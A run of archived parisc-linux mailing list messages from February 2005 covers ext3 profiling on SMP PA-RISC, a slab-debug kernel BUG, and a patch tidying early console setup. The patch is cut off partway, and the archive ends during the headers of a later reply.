Subject: Re: [parisc-linux] ext2 vs ext3 on hppa
Date: Fri, 11 Feb 2005 09:53:22 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20050211165322.GA8835@colo.lackof.org>
References: <20050211071629.GA32318@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623665 12669 80.91.229.3 (22 Nov 2014 02:34:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 16:53:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 11 Feb 2005 17:53:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66D727D664;
	Fri, 11 Feb 2005 09:53:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01024-05; Fri, 11 Feb 2005 09:53:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 772DB7D659;
	Fri, 11 Feb 2005 09:53:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E48E7D656
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:53:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01024-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:53:07 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id CAA477D653
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:53:07 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 13BD529802F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:53:24 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09154-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 09:53:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id ABAFF29802E; Fri, 11 Feb 2005 09:53:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050211071629.GA32318@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yJg5KnNfZDI4v7HGdWY2OGRxemhmY4GS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22335

On Fri, Feb 11, 2005 at 12:16:29AM -0700, Grant Grundler wrote:
> But not for "tar". I can't find the data I collect before. :^(

I found them:
-rw-r--r--  1 root root  33517 Jan  9 21:27 prof-2.6.10-pa6-01
-rw-r--r--  1 root root  23770 Jan 16 19:46 prof-2.6.10-pa6-02

and posted both on
	http://www.parisc-linux.org/~grundler/prof-a500-65/

> ISTR the culprit in ext3 was the bitmap search using atomic ops.
> On parisc, atomic ops are terrible since it requires a spinlock/op/unlock
> sequence.

Yeah, this seems to be right.
I gather this is only an issue for SMP kernels.

grundler <506>sort -rnk 3 prof-2.6.10-pa6-01
 55063 _spin_lock                               1376.5750
 42958 ext3_test_allocatable                     97.6318
  5974 rb_next                                   57.4423
  5541 flush_kernel_icache_page                  55.4100
   800 fdsync                                    40.0000
  1279 flush_user_icache_range_asm               35.5278
 35341 bitmap_search_next_usable_block           30.6780
  1328 _spin_lock_irqsave                        27.6667
  1470 machine_restart                           22.9688
   747 flush_user_dcache_range_asm               20.7500
  1043 cpu_idle                                  14.4861
   135 fisync                                     8.4375
   647 __clear_user_page_asm                      5.7768
...


Sorry - I didn't note exactly which workload the above represented.

And I suspect -02 data is with willy's vma_prev patch applied
that he proposed here:
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/025210.html

grundler <509>sort -rnk 3 prof-2.6.10-pa6-02
 61105 _spin_lock                               1527.6250
 43040 ext3_test_allocatable                     97.8182
  4902 rb_next                                   47.1346
 35646 bitmap_search_next_usable_block           30.9427
  2217 flush_kernel_icache_page                  22.1700
   969 _spin_lock_irqsave                        20.1875
  1055 machine_restart                           16.4844
   764 cpu_idle                                  10.6111
   157 fdsync                                     7.8500
   270 flush_user_icache_range_asm                7.5000
   209 flush_user_dcache_range_asm                5.8056
...

hth, 
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP and CONFIG_SLAB_DEBUG
Date: Fri, 11 Feb 2005 18:13:10 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20050212021309.GI2277@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623665 12671 80.91.229.3 (22 Nov 2014 02:34:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2005 02:13:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 12 Feb 2005 03:13:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3B897D66E;
	Fri, 11 Feb 2005 19:13:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03459-01; Fri, 11 Feb 2005 19:13:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD9B97D65B;
	Fri, 11 Feb 2005 19:13:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8448A7D657
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 19:13:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03064-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 19:13:38 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 0C7237D656
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 19:13:38 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 9A1456BF0C; Fri, 11 Feb 2005 18:13:10 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Y1A4c2RlbUkovunGPWgndHJkZ2hlN0pC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22336

Has anybody been able to boot a 2.6.11-rc3-pa* kernel SMP with slab
debugging enabled? when i tried, i triggered a BUG_ON():

kernel BUG at mm/slab.c:1493!
Backtrace:
 [<10130b34>] printk+0x20/0x2c
 [<10163d94>] check_irq_off+0x40/0x50
 [<10165eec>] do_ccupdate_local+0x10/0x5c
 [<10114ec4>] ipi_interrupt+0x198/0x250
 [<10155ae0>] handle_IRQ_event+0x50/0xa4
 [<10155bcc>] __do_IRQ+0x98/0x1e4

the BUG_ON() is checking that irqs are disabled when calling
do_ccupdate_local(), which is called as a smp function using IPI.

are interrupts supposed to be disabled when ipi_interrupt() is called?
did this behaviour change with the recent irq handling changes?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [testers wanted] cleanup early console setup
Date: Fri, 11 Feb 2005 14:35:25 -0800
Lines: 168
Approved: news@gmane.org
Message-ID: <20050211223525.GH2277@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623665 12673 80.91.229.3 (22 Nov 2014 02:34:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 22:35:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 11 Feb 2005 23:35:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C320A7D657;
	Fri, 11 Feb 2005 15:35:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02722-08; Fri, 11 Feb 2005 15:35:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8BAF7D659;
	Fri, 11 Feb 2005 15:35:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83B717D656
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 15:35:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02722-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 15:35:50 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id C727C7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 15:35:49 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id BB2F36C061; Fri, 11 Feb 2005 14:35:25 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GkdoMrBMZCEX7LGPamwhd2FwIGhpZQZT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22337

This patch cleans up our early console hacks so that we use the
"approved" way of doing things. I've only tested this on a J6k...
looking for testers on other systems.

Especially interesting would be something that uses non-8250 consoles,
such as E/K class systems that use the serial mux console. I suspect
some changes are needed there. If you can test on such a system, and see
some problems [*], please let me know. likely we will need to move the
register_console() call from mux_probe() into a separate initcall.

[*] during startup, the console print messages should show up regularly,
and only once. symptoms of problems are if your console prints pause
for a long time, or if you start seeing each line printed twice.

randolph

Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Kconfig,v
retrieving revision 1.25
diff -u -p -r1.25 Kconfig
--- arch/parisc/Kconfig	4 Feb 2005 19:34:34 -0000	1.25
+++ arch/parisc/Kconfig	11 Feb 2005 22:22:59 -0000
@@ -19,6 +19,9 @@ config MMU
 config STACK_GROWSUP
 	def_bool y
 
+config EARLY_PRINTK
+	def_bool y
+
 config UID16
 	bool
 
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.7
diff -u -p -r1.7 pdc_cons.c
--- arch/parisc/kernel/pdc_cons.c	16 Aug 2004 17:25:27 -0000	1.7
+++ arch/parisc/kernel/pdc_cons.c	11 Feb 2005 22:22:59 -0000
@@ -39,11 +39,6 @@
  *  can or will be a fully functional linux console.
  */
 
-/* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
- * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
-#undef EARLY_BOOTUP_DEBUG
-
-
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <linux/console.h>
@@ -81,8 +76,11 @@ void pdc_printf(const char *fmt, ...)
 	len = vscnprintf(buf, sizeof(buf), fmt, args);
 	va_end(args);
 
-	for (i = 0; i < len; i++)
+	for (i = 0; i < len; i++) {
+		if (buf[i] == '\n')
+			pdc_iodc_outc('\r');
 		pdc_iodc_outc(buf[i]);
+	}
 }
 
 int pdc_console_poll_key(struct console *co)
@@ -112,14 +110,11 @@ static struct console pdc_cons = {
 	.write =	pdc_console_write,
 	.device =	PDC_CONSOLE_DEVICE,
 	.setup =	pdc_console_setup,
-	.flags =	CON_BOOT|CON_PRINTBUFFER|CON_ENABLED,
+	.flags =	CON_PRINTBUFFER,
 	.index =	-1,
 };
 
 static int pdc_console_initialized;
-extern unsigned long con_start;	/* kernel/printk.c */
-extern unsigned long log_end;	/* kernel/printk.c */
-
 
 static void pdc_console_init_force(void)
 {
@@ -135,14 +130,10 @@ static void pdc_console_init_force(void)
 	register_console(&pdc_cons);
 }
 
-void __init pdc_console_init(void)
+void __init 
+pdc_console_init(void)
 {
-#if defined(EARLY_BOOTUP_DEBUG) || defined(CONFIG_PDC_CONSOLE)
 	pdc_console_init_force();
-#endif
-#ifdef EARLY_BOOTUP_DEBUG
-	printk(KERN_INFO "Initialized PDC Console for debugging.\n");
-#endif
 }
 
 
@@ -155,12 +146,17 @@ void pdc_console_die(void)
 
 	printk(KERN_INFO "Switching from PDC console\n");
 
-	/* Don't repeat what we've already printed */
-	con_start = log_end;
-
 	unregister_console(&pdc_cons);
 }
 
+void __init 
+disable_early_printk(void)
+{
+#ifndef CONFIG_PDC_CONSOLE
+	pdc_console_die();
+#endif
+}
+
 
 /*
  * Used for emergencies. Currently only used if an HPMC occurs. If an
@@ -180,9 +176,6 @@ void pdc_console_restart(void)
 	while ((console = console_drivers) != NULL)
 		unregister_console(console_drivers);
 
-	/* Don't repeat what we've already printed */
-	con_start = log_end;
-	
 	/* force registering the pdc console */
 	pdc_console_init_force();
 }
Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/setup.c,v
retrieving revision 1.12
diff -u -p -r1.12 setup.c
--- arch/parisc/kernel/setup.c	31 Dec 2004 17:26:35 -0000	1.12
+++ arch/parisc/kernel/setup.c	11 Feb 2005 22:22:59 -0000
@@ -157,7 +157,8 @@ void __init setup_arch(char **cmdline_p)
 #endif
 
 #if defined(CONFIG_VT) && defined(CONFIG_DUMMY_CONSOLE)
-	conswitchp = &dummy_con;	/* we use take_over_console() later ! */
+	if (!conswitchp)
+		conswitchp = &dummy_con;	/* we use take_over_console() later ! */
 #endif
 
 }
Index: kernel/printk.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/printk.c,v
retrieving revision 1.26
diff -u -p -r1.26 printk.c
--- kernel/printk.c	12 Jan 2005 20:18:05 -0000	1.26
+++ kernel/printk.c	11 Feb 2005 22:23:04 -0000
@@ -92,8 +92,8 @@ static int log_buf_len = __LOG_BUF_LEN;
  * must be masked before subscripting
  */
 static unsigned long log_start;	/* Index into log_buf: next char to be read by syslog() */
-unsigned long con_start;	/* Index into log_buf: next char to be sent to consoles */
-unsigned long log_end;	/* Index into log_buf: most-recently-written-char + 1 */
+static unsigned long con_start;	/* Index into log_buf: next char to be sent to consoles */
+static unsigned long log_end;	/* Index into log_buf: most-recently-written-char + 1 */
 static unsigned long logged_chars; /* Number of chars produced since last read+clear operation */
 
 /*
@@ -793,11 +793,6 @@ void register_console(struct console * c
 
 	if (!(console->flags & CON_ENABLED))
 		return;

From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext2 vs ext3 on hppa
Date: Sat, 12 Feb 2005 20:11:57 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <420E630D.8030504@tiscali.be>
References: <20050211071629.GA32318@colo.lackof.org>	<420CAE3C.7090004@lycos.nl>
	<20050211174752.GC8835@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623666 12676 80.91.229.3 (22 Nov 2014 02:34:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2005 20:12:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 12 Feb 2005 21:12:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DDA07D65E;
	Sat, 12 Feb 2005 13:12:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06175-07; Sat, 12 Feb 2005 13:12:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F7C47D656;
	Sat, 12 Feb 2005 13:12:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7ACEC7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 13:12:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06029-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 13:12:24 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id E8B407D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Feb 2005 13:12:23 -0700 (MST)
Original-Received: from [83.134.224.226] (helo=[83.134.224.226])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1D03aA-0004P5-T7; Sat, 12 Feb 2005 21:09:35 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20050211174752.GC8835@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K1U7c6Y9bUkovunGPWgndHJkZ2hlN4pM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22338

[...]
> 
> My bad. I was running two instances of "make" in the same source tree.
> I had forgotten about the "while :" loop that was doing builds.
> /me hides
> 
mmm when I did (sorry not any more able to do it :_( ) similar test it seems that segfault to only occured with option -j2 (or 
greater) and only on smp system (on such b2k the same test _never_ segfault also on ext3)

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [testers wanted] cleanup early console setup
Date: Mon, 14 Feb 2005 02:12:36 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <20050214021236.GA29917@parcelfarce.linux.theplanet.co.uk>
References: <20050211223525.GH2277@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623666 12681 80.91.229.3 (22 Nov 2014 02:34:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2005 02:12:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx066) with SMTP; 14 Feb 2005 03:12:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A8607D64A;
	Sun, 13 Feb 2005 19:13:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11104-02; Sun, 13 Feb 2005 19:13:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E01577D64C;
	Sun, 13 Feb 2005 19:13:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30C617D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Feb 2005 19:13:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10785-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Feb 2005 19:13:05 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 894307D649
	for <parisc-linux@lists.parisc-linux.org>;
